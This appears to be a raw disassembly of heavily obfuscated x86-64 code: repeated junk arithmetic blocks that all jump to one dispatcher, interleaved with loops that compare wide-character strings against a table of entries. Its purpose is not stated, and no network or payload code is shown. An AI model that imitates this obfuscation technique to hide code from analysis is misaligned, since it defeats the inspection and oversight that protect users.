add eax, 0xebdd2555
xor eax, 0xfd5f1e76
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xe359a525
xor eax, 0xa11331fb
rol eax, 5
popf
pushf
not eax
add eax, 0x840186ca
xor eax, 0xbad9a5f0
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xc8603c5d
xor eax, 0xf1037f8e
rol eax, 0xd5
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xa7ebfd3c
pushf
not eax
add eax, 0xe97a7091
xor eax, 0xf86a768f
rol eax, 0x3c
popf
pushf
not eax
add eax, 0x973dc0c2
xor eax, 0xdb9faa64
rol eax, 0x78
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b13b33
push rax
pushf
mov eax, 0xa95c7abc
pushf
not eax
add eax, 0x9e692953
xor eax, 0xcb97f37c
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x85a523f4
xor eax, 0xe87c3e68
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xaddb70f1
xor eax, 0xa3b2f7b2
rol eax, 0x98
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x7d8dbef8
pushf
not eax
add eax, 0x90eddfdf
xor eax, 0xf1222bf9
rol eax, 0x61
popf
pushf
not eax
add eax, 0xf7ef232e
xor eax, 0xba189904
rol eax, 0x61
popf
pushf
not eax
add eax, 0x963d7ee3
xor eax, 0x8356408d
rol eax, 0xf9
popf
jmp 0x140b0ffd5
jmp 0x140b18947
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xc1a434bc
pushf
not eax
add eax, 0xbb60c588
xor eax, 0x8fe69271
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xcd1e7134
xor eax, 0xcc2ef499
rol eax, 0xe8
popf
pushf
not eax
add eax, 0x8d1bd47c
xor eax, 0xbb0bc699
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xe49d5567
xor eax, 0xabe8fb1c
rol eax, 0x7f
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b13d07
push rax
pushf
mov eax, 0x1bc23428
pushf
not eax
add eax, 0xff06d9d3
xor eax, 0xa2ae76d8
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xaa110fa0
xor eax, 0xfcd9ee21
rol eax, 0xdb
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xec54c38b
pushf
not eax
add eax, 0x8d52fba2
xor eax, 0x90911e6a
rol eax, 0xda
popf
pushf
not eax
add eax, 0x8eacb95c
xor eax, 0x972afcc2
rol eax, 0xca
popf
jmp 0x140b0ffd5
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x292a6d84
pushf
not eax
add eax, 0xa3b1bf3b
xor eax, 0xbe5ce6d0
rol eax, 0x8b
popf
pushf
not eax
add eax, 0x866889e1
xor eax, 0xa8bad3ba
rol eax, 0xb1
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b13ec8
push rax
pushf
mov eax, 0xdf5bcfac
pushf
not eax
add eax, 0xff8ac3ed
xor eax, 0xe86063ed
rol eax, 0xeb
popf
pushf
not eax
add eax, 0x8a4fbb21
xor eax, 0xd0501cb1
rol eax, 0xc
popf
pushf
not eax
add eax, 0xf0f5f42c
xor eax, 0xcbeefb8f
rol eax, 0xfa
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xe100cf52
pushf
not eax
add eax, 0x87ec512d
xor eax, 0xac1dcefe
rol eax, 0xd
popf
pushf
not eax
add eax, 0x8bfa4a76
xor eax, 0xc2102917
rol eax, 0xf3
popf
jmp 0x140b0ffd5
jmp 0x140b18947
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xcd94997f
pushf
not eax
add eax, 0xb8622c1a
xor eax, 0xbffa9691
rol eax, 0x99
popf
pushf
not eax
add eax, 0xcf158a38
xor eax, 0xb8682c2f
rol eax, 0xb4
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x7c0], ax
jne 0x140b13ff0
push rax
pushf
mov eax, 0xa54fe8fc
pushf
not eax
add eax, 0xa5bdcfea
xor eax, 0xd79198c2
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xce23a035
xor eax, 0x80865721
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xa968a95d
xor eax, 0xe2fc3091
rol eax, 3
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xc2c190ce
pushf
not eax
add eax, 0xcf2778db
xor eax, 0x893ddad3
rol eax, 0x72
popf
pushf
not eax
add eax, 0xd10d2673
xor eax, 0xcbaa6a4c
rol eax, 0x30
popf
pushf
not eax
add eax, 0xf3bb3d6e
xor eax, 0xf3486a65
rol eax, 0x41
popf
pushf
not eax
add eax, 0xdf758dd6
xor eax, 0xc921837a
rol eax, 0x2f
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b14089
push rax
pushf
mov eax, 0xa350062
pushf
not eax
add eax, 0xdc7e9fd1
xor eax, 0xc98851b2
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xf9456eca
xor eax, 0x88d6b38e
rol eax, 0xf6
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x5f8aafe5
pushf
not eax
add eax, 0xa8111faa
xor eax, 0xf1e29ff8
rol eax, 0xae
popf
pushf
not eax
add eax, 0xe3e8466b
xor eax, 0xe202a663
rol eax, 0x68
popf
pushf
not eax
add eax, 0xf7246d29
xor eax, 0xa3326a63
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xa1716a81
xor eax, 0x9473f178
rol eax, 0x4d
popf
jmp 0x140b0ffd5
jmp 0x140b18947
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x9d0], ax
jne 0x140b141d7
push rax
pushf
mov eax, 0xdcc98bf8
pushf
not eax
add eax, 0xa03a5048
xor eax, 0x8c45a9bb
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xbfd0d73f
xor eax, 0xbfc66005
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xae7b38cb
xor eax, 0xc7053c1d
rol eax, 0x41
popf
pushf
not eax
add eax, 0x89497b44
xor eax, 0x999d2c66
rol eax, 0xee
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x6dcda469
pushf
not eax
add eax, 0xf567f3a0
xor eax, 0xce891030
rol eax, 0x92
popf
pushf
not eax
add eax, 0xffa40b18
xor eax, 0x83fee6ca
rol eax, 0x4f
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b1424a
push rax
pushf
mov eax, 0x238e6aa6
pushf
not eax
add eax, 0xab71223e
xor eax, 0xcf6ba1d5
rol eax, 0x77
popf
pushf
not eax
add eax, 0xedf667ef
xor eax, 0xccd3eb63
rol eax, 0xd5
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x55b30bdc
pushf
not eax
add eax, 0x95841d89
xor eax, 0xd7a45849
rol eax, 0x96
popf
pushf
not eax
add eax, 0xef271c26
xor eax, 0xb5acfede
rol eax, 0xc2
popf
jmp 0x140b0ffd5
jmp 0x140b18947
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x28c0], ax
jne 0x140b14372
add rcx, 2
cmp rcx, 0x208
jl 0x140b143e5
push rax
pushf
mov eax, 0x3735b763
pushf
not eax
add eax, 0xbcb8ee52
xor eax, 0xd2e80425
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xca6cf30c
xor eax, 0xeab759a6
rol eax, 0x46
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x59df73c6
pushf
not eax
add eax, 0xcae8bcef
xor eax, 0xc670f6df
rol eax, 0x79
popf
pushf
not eax
add eax, 0xb471a9a7
xor eax, 0xa502b620
rol eax, 0xe3
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0xbe0], ax
jne 0x140b1450d
push rax
pushf
mov eax, 0x551f875f
pushf
not eax
add eax, 0x99e7ad1c
xor eax, 0xb1e7b7a2
rol eax, 0x28
popf
pushf
not eax
add eax, 0xfe49a90b
xor eax, 0xa6829751
rol eax, 0x12
popf
pushf
not eax
add eax, 0xd1493fe0
xor eax, 0xf5f68818
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x8b9ff1c8
xor eax, 0x9b5a2cdd
rol eax, 0xc7
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x429190f4
pushf
not eax
add eax, 0xf3b9749d
xor eax, 0xfc46da87
rol eax, 0x99
popf
pushf
not eax
add eax, 0xd8783133
xor eax, 0x9759f6dd
rol eax, 0x56
popf
pushf
not eax
add eax, 0xb2a6751c
xor eax, 0xc26c49af
rol eax, 0x43
popf
pushf
not eax
add eax, 0xccca41dd
xor eax, 0x82957f89
rol eax, 0x9a
popf
jmp 0x140b0ffd5
jmp 0x140b18947
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x9165bf4
pushf
not eax
add eax, 0x980f6338
xor eax, 0xd917c0d3
rol eax, 0x27
popf
pushf
not eax
add eax, 0xe18d503b
xor eax, 0xb2c950a9
rol eax, 0x28
popf
pushf
not eax
add eax, 0xeefed3b0
xor eax, 0xacabcc6d
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xdf1c281a
xor eax, 0x8dd53564
rol eax, 0x3d
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x2ad0], ax
jne 0x140b1471a
push rax
pushf
mov eax, 0x5598a6b5
pushf
not eax
add eax, 0xf2d3565d
xor eax, 0xbd80c53f
rol eax, 0x72
popf
pushf
not eax
add eax, 0xc3cc428c
xor eax, 0xf4d77b57
rol eax, 0x87
popf
pushf
not eax
add eax, 0x90fd07a0
xor eax, 0xb29b9ca9
rol eax, 0xd6
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x66b338d3
pushf
not eax
add eax, 0xcb559a94
xor eax, 0xdbe81518
rol eax, 0x46
popf
pushf
not eax
add eax, 0xafd0a7c5
xor eax, 0xdd757195
rol eax, 0xd0
popf
jmp 0x140b0ffd5
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xc9b69e45
pushf
not eax
add eax, 0xb1cd90ae
xor eax, 0x8e44c4d8
rol eax, 0x99
popf
pushf
not eax
add eax, 0xd9e46ab8
xor eax, 0xc322630e
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xd500badb
xor eax, 0x895f5886
rol eax, 0x15
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b14999
push rax
pushf
mov eax, 0x685c2657
pushf
not eax
add eax, 0xddd8801c
xor eax, 0xe163d7b3
rol eax, 1
popf
pushf
not eax
add eax, 0xbbbe7079
xor eax, 0xe0546783
rol eax, 0x3e
popf
pushf
not eax
add eax, 0x98ca5c5c
xor eax, 0xfbfb1f59
rol eax, 0x14
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xe674d4a0
pushf
not eax
add eax, 0xac5f45cb
xor eax, 0x9643dbf6
rol eax, 0x56
popf
pushf
not eax
add eax, 0xeb9a18d3
xor eax, 0xfa394531
rol eax, 0x79
popf
pushf
not eax
add eax, 0xe4b24b12
xor eax, 0xf114d22a
rol eax, 0x42
popf
jmp 0x140b0ffd5
jmp 0x140b18947
jmp 0x140b18947
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x9a652079
pushf
not eax
add eax, 0xbdcf4acf
xor eax, 0xd506e667
rol eax, 0x81
popf
pushf
not eax
add eax, 0xe5579806
xor eax, 0xf87dd820
rol eax, 0x79
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x3100], ax
jne 0x140b14c94
push rax
pushf
mov eax, 0x8841dbf1
pushf
not eax
add eax, 0x8406797d
xor eax, 0xfa3e2d02
rol eax, 0x42
popf
pushf
not eax
add eax, 0xd8eb99bd
xor eax, 0xeff36ca7
rol eax, 0xca
popf
pushf
not eax
add eax, 0xeda04c9f
xor eax, 0xf7e97862
rol eax, 0x45
popf
pushf
not eax
add eax, 0xe9c0a7a8
xor eax, 0xbe79a56a
rol eax, 0x3b
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x1b820a38
pushf
not eax
add eax, 0xa9ade438
xor eax, 0xbb6b04c7
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xd0e53ca8
xor eax, 0xc7509617
rol eax, 0x83
popf
pushf
not eax
add eax, 0x99b0cbf9
xor eax, 0xdddb282d
rol eax, 0xed
popf
pushf
not eax
add eax, 0x8820be89
xor eax, 0xad9d8d88
rol eax, 0xd0
popf
jmp 0x140b0ffd5
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x13a1671d
pushf
not eax
add eax, 0xf0905f9b
xor eax, 0x9989533b
rol eax, 0x11
popf
pushf
not eax
add eax, 0xac9b3e41
xor eax, 0xca2a2b68
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x8a5ad167
xor eax, 0xbf101fe1
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x914a709b
xor eax, 0xb3fda28a
rol eax, 0xbc
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0xdf0], ax
jne 0x140b14e7b
push rax
pushf
mov eax, 0xfaa85175
pushf
not eax
add eax, 0xe8a674c8
xor eax, 0xeebb0021
rol eax, 0x60
popf
pushf
not eax
add eax, 0x8ca1e55a
xor eax, 0x895981e6
rol eax, 0x94
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x21ed3c27
pushf
not eax
add eax, 0xddc2aab9
xor eax, 0xab17adc5
rol eax, 0xd9
popf
pushf
not eax
add eax, 0x9aba8b53
xor eax, 0xa946fbb9
rol eax, 0x13
popf
pushf
not eax
add eax, 0xc07463c4
xor eax, 0xccc9afc4
rol eax, 0xf9
popf
jmp 0x140b0ffd5
jmp 0x140b18947
add rcx, 2
cmp rcx, 0x208
jl 0x140b152e2
push rax
pushf
mov eax, 0x1be6cb1f
pushf
not eax
add eax, 0x83b6d19a
xor eax, 0x882dbb25
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xbaa7f0b9
xor eax, 0xc3b22df9
rol eax, 0xb8
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xd2fb409f
pushf
not eax
add eax, 0xa7122979
xor eax, 0xbcf75243
rol eax, 0x81
popf
pushf
not eax
add eax, 0xa33d8199
xor eax, 0xea6f7b40
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xe70616a3
xor eax, 0xa30fbf30
rol eax, 0x90
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x1000], ax
jne 0x140b15443
push rax
pushf
mov eax, 0x3941172
pushf
not eax
add eax, 0xdb07d0bf
xor eax, 0xd96ce36e
rol eax, 0x7c
popf
pushf
not eax
add eax, 0x9331cea0
xor eax, 0x833f397a
rol eax, 0x11
popf
pushf
not eax
add eax, 0x9b47a337
xor eax, 0xa340e8e6
rol eax, 0x76
popf
pushf
not eax
add eax, 0xc1371a7c
xor eax, 0x9459ec81
rol eax, 0x81
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x108598b5
pushf
not eax
add eax, 0xbac191b1
xor eax, 0x9140048e
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xeb677eee
xor eax, 0x97af8e26
rol eax, 0xf9
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b154b6
push rax
pushf
mov eax, 0xe394680c
pushf
not eax
add eax, 0xe8c57855
xor eax, 0xfc692827
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xcae9c5e8
xor eax, 0xeb54426d
rol eax, 0x23
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x96428b4
pushf
not eax
add eax, 0xb44f2abd
xor eax, 0xd4c33e07
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x8e7602e5
xor eax, 0xaeebf119
rol eax, 0xfd
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x68b0], ax
jne 0x140b155de
push rax
pushf
mov eax, 0x29440cfb
pushf
not eax
add eax, 0x9659be83
xor eax, 0x8d5ceaa0
rol eax, 0xed
popf
pushf
not eax
add eax, 0xf02279c2
xor eax, 0xe6032c26
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xc9e27cab
xor eax, 0xcd5dc4be
rol eax, 0xa
popf
pushf
not eax
add eax, 0xe4b66703
xor eax, 0x9f7b82ac
rol eax, 0xb8
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xc3338647
pushf
not eax
add eax, 0xb66c576c
xor eax, 0xad5b3c2e
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xf2076363
xor eax, 0xc010d2f3
rol eax, 0x9b
popf
jmp 0x140b0ffd5
jmp 0x140b18947
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xa70f5bbf
pushf
not eax
add eax, 0xceca7323
xor eax, 0xd4c90c5b
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xcee9f4b2
xor eax, 0xeb1c3585
rol eax, 0xda
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x3730], ax
jne 0x140b15927
push rax
pushf
mov eax, 0x3e9fe1ab
pushf
not eax
add eax, 0x92c17817
xor eax, 0x808916d2
rol eax, 0x60
popf
pushf
not eax
add eax, 0xd5064b4b
xor eax, 0x977bec6c
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xc3fe6d3c
xor eax, 0xe174add6
rol eax, 0xa
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xaebed81
pushf
not eax
add eax, 0xab44913c
xor eax, 0x91548add
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x8a1383c4
xor eax, 0xd64dfdaf
rol eax, 0x91
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b159ad
push rax
pushf
mov eax, 0xffef13b0
pushf
not eax
add eax, 0xec2369f4
xor eax, 0xc36bc20f
rol eax, 0xce
popf
pushf
not eax
add eax, 0x9583a8b4
xor eax, 0x9ce86788
rol eax, 0x88
popf
pushf
not eax
add eax, 0x8851c052
xor eax, 0xec3e6c25
rol eax, 0x2d
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xbd960389
pushf
not eax
add eax, 0x92aece14
xor eax, 0xd173b2fc
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xf8093625
xor eax, 0x94eb810b
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xefd9056a
xor eax, 0x9443e308
rol eax, 0xea
popf
pushf
not eax
add eax, 0xac448c45
xor eax, 0xecf2a36e
rol eax, 0xb8
popf
jmp 0x140b0ffd5
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xf254a93d
pushf
not eax
add eax, 0xbe40b600
xor eax, 0xd65aa6f3
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xe8e5a2da
xor eax, 0xd056c174
rol eax, 0x7c
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x3940], ax
jne 0x140b15ad5
push rax
pushf
mov eax, 0x21824d1b
pushf
not eax
add eax, 0x9b2dbe5d
xor eax, 0xbe28a9e6
rol eax, 0x99
popf
pushf
not eax
add eax, 0xfa707d96
xor eax, 0xaae105e4
rol eax, 0xd8
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xe646d7b6
pushf
not eax
add eax, 0x8c744485
xor eax, 0x95324455
rol eax, 0x79
popf
pushf
not eax
add eax, 0xd6741f8e
xor eax, 0x9a26e64c
rol eax, 0x40
popf
pushf
not eax
add eax, 0xef5486bd
xor eax, 0xb5299b4c
rol eax, 0x37
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b15b6e
push rax
pushf
mov eax, 0x5523960d
pushf
not eax
add eax, 0xba8895be
xor eax, 0xaaec2c3a
rol eax, 0x33
popf
pushf
not eax
add eax, 0xa0d06603
xor eax, 0xb02fd1b4
rol eax, 0x15
popf
pushf
not eax
add eax, 0xc5a8980b
xor eax, 0xc5560d43
rol eax, 0xe
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x4343cb69
pushf
not eax
add eax, 0xc2f8e498
xor eax, 0xcec5009a
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xbce8a8ac
xor eax, 0xa333983b
rol eax, 0x38
popf
jmp 0x140b0ffd5
jmp 0x140b18947
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x1210], ax
jne 0x140b15c96
push rax
pushf
mov eax, 0x231dc011
pushf
not eax
add eax, 0xbd77d48b
xor eax, 0x84acb15c
rol eax, 0xae
popf
pushf
not eax
add eax, 0x83aedd61
xor eax, 0xe7a586b3
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xf46491b3
xor eax, 0xeefff6d6
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xe6ec48bf
xor eax, 0x897cce13
rol eax, 0x90
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x5221deba
pushf
not eax
add eax, 0xa9dfa6a2
xor eax, 0x9741bf0d
rol eax, 0xea
popf
pushf
not eax
add eax, 0xe7ec3998
xor eax, 0xfe38e8fd
rol eax, 0x37
popf
pushf
not eax
add eax, 0xda18d364
xor eax, 0x812517e5
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xf0e9e900
xor eax, 0x86579749
rol eax, 0xfc
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b15d42
push rax
pushf
mov eax, 0xe71b2c3a
pushf
not eax
add eax, 0xfa773fad
xor eax, 0xc70cbdae
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x86d2fa42
xor eax, 0x8292ecf4
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x8a9e3169
xor eax, 0x8272e143
rol eax, 0x86
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x5ef5ddaf
pushf
not eax
add eax, 0x8f97cb61
xor eax, 0x9aefdc83
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xb89b0f6c
xor eax, 0x826cebd8
rol eax, 0x59
popf
pushf
not eax
add eax, 0xa8fcda9d
xor eax, 0xd5e49a36
rol eax, 0x64
popf
jmp 0x140b0ffd5
jmp 0x140b18947
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x305b051d
pushf
not eax
add eax, 0xbb862f6b
xor eax, 0xe759a820
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xb0395c16
xor eax, 0x8b512698
rol eax, 0x4b
popf
pushf
not eax
add eax, 0x96826060
xor eax, 0xf8ee564e
rol eax, 0xf7
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b15f40
push rax
pushf
mov eax, 0xb04c5931
pushf
not eax
add eax, 0xdc75510e
xor eax, 0xaf5e7323
rol eax, 0x61
popf
pushf
not eax
add eax, 0xa52aeff1
xor eax, 0xfeffce1f
rol eax, 0xec
popf
pushf
not eax
add eax, 0xfbde08de
xor eax, 0xb531cdd8
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x99fa0f11
xor eax, 0xdaee534f
rol eax, 0xe6
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x1ef61db6
pushf
not eax
add eax, 0xd22a6318
xor eax, 0xa2ff6092
rol eax, 0x83
popf
pushf
not eax
add eax, 0xc6728e78
xor eax, 0xfaef872d
rol eax, 0xe
popf
pushf
not eax
add eax, 0x9acd28f6
xor eax, 0xc996bbbe
rol eax, 0x14
popf
pushf
not eax
add eax, 0xfa518d4e
xor eax, 0xc1eead21
rol eax, 0x1a
popf
jmp 0x140b0ffd5
mov rcx, rdi
nop dword [rax + rax]
push rax
pushf
mov eax, 0x11d7c7e0
pushf
not eax
add eax, 0x9d6c266f
xor eax, 0x94cc53fe
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xabbcf6b9
xor eax, 0xcb799ab1
rol eax, 0xea
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x1420], ax
jne 0x140b160a1
push rax
pushf
mov eax, 0x89792fe
pushf
not eax
add eax, 0xdd678219
xor eax, 0xa7c18919
rol eax, 0x73
popf
pushf
not eax
add eax, 0x9b50656e
xor eax, 0xe3d8a4f6
rol eax, 0xba
popf
pushf
not eax
add eax, 0xd58da7aa
xor eax, 0x99f1ba49
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xdd4f890d
xor eax, 0xd3c78e39
rol eax, 0xdb
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xc89351f7
pushf
not eax
add eax, 0xbb3b62bd
xor eax, 0xc4dadd20
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x94babae0
xor eax, 0xfc5cd0f8
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xde577b16
xor eax, 0xc66e69e0
rol eax, 0xe4
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b16127
push rax
pushf
mov eax, 0xe44e4fc4
pushf
not eax
add eax, 0xee1125a2
xor eax, 0xf2c13a4a
rol eax, 0xef
popf
pushf
not eax
add eax, 0x88c24934
xor eax, 0x90f6485a
rol eax, 0xbd
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x1bd0fc87
pushf
not eax
add eax, 0xc8806b47
xor eax, 0xca608fea
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x99418618
xor eax, 0xbf78db6b
rol eax, 0xf1
popf
jmp 0x140b0ffd5
jmp 0x140b18947
mov rcx, rdi
nop dword [rax + rax]
push rax
pushf
mov eax, 0x7851640b
pushf
not eax
add eax, 0xf6a788eb
xor eax, 0xa989c764
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xd799c7cd
xor eax, 0xeab33384
rol eax, 0x17
popf
pushf
not eax
add eax, 0xd48bd08b
xor eax, 0xaa467e7e
rol eax, 0x5c
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x3d60], ax
jne 0x140b16262
push rax
pushf
mov eax, 0x5373fd85
pushf
not eax
add eax, 0xe26e5b96
xor eax, 0xa7e7cf34
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xf6c5dcfa
xor eax, 0xbacc0abe
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xa19ec007
xor eax, 0xd0615848
rol eax, 0xc3
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x618d5cce
pushf
not eax
add eax, 0xc790b398
xor eax, 0xe91033d6
rol eax, 0xac
popf
pushf
not eax
add eax, 0xb00e7d1b
xor eax, 0xbab6a00a
rol eax, 0xde
popf
pushf
not eax
add eax, 0xce529dc9
xor eax, 0xdc9414c0
rol eax, 0x4f
popf
jmp 0x140b0ffd5
jmp 0x140b18947
mov rcx, rdi
nop dword [rax + rax]
push rax
pushf
mov eax, 0x6994c64d
pushf
not eax
add eax, 0xdc1426f6
xor eax, 0xfe2dc83c
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xaebc4158
xor eax, 0xae47b4a4
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xca18d05f
xor eax, 0xa1ad1754
rol eax, 0xb2
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x1630], ax
jne 0x140b163fd
push rax
pushf
mov eax, 0x19200cea
pushf
not eax
add eax, 0xa6d333f7
xor eax, 0xef96efc7
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xdf7c06e2
xor eax, 0x9bc9877a
rol eax, 0x52
popf
pushf
not eax
add eax, 0xbf67b1b3
xor eax, 0xb6a1adc3
rol eax, 0xe4
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x8277ea70
pushf
not eax
add eax, 0xc8e253c5
xor eax, 0xd9452c08
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xe08a495d
xor eax, 0xa885f061
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x92066b91
xor eax, 0xe85ce077
rol eax, 0
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b16483
push rax
pushf
mov eax, 0xab07f3e6
pushf
not eax
add eax, 0xa704b8c1
xor eax, 0xabee6dee
rol eax, 0x84
popf
pushf
not eax
add eax, 0x9552fc6c
xor eax, 0x942869a3
rol eax, 0x60
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x8eb40a1
pushf
not eax
add eax, 0xae801c42
xor eax, 0xf388618f
rol eax, 0x76
popf
pushf
not eax
add eax, 0xc1cafa38
xor eax, 0xb0624f58
rol eax, 0x45
popf
pushf
not eax
add eax, 0xc341782e
xor eax, 0xa30645d1
rol eax, 0x40
popf
pushf
not eax
add eax, 0xa3a0ad12
xor eax, 0xf0414565
rol eax, 0xf9
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x3f70], ax
jne 0x140b165ab
push rax
pushf
mov eax, 0xa32ccc21
pushf
not eax
add eax, 0xf195bbdc
xor eax, 0x887059de
rol eax, 0xef
popf
pushf
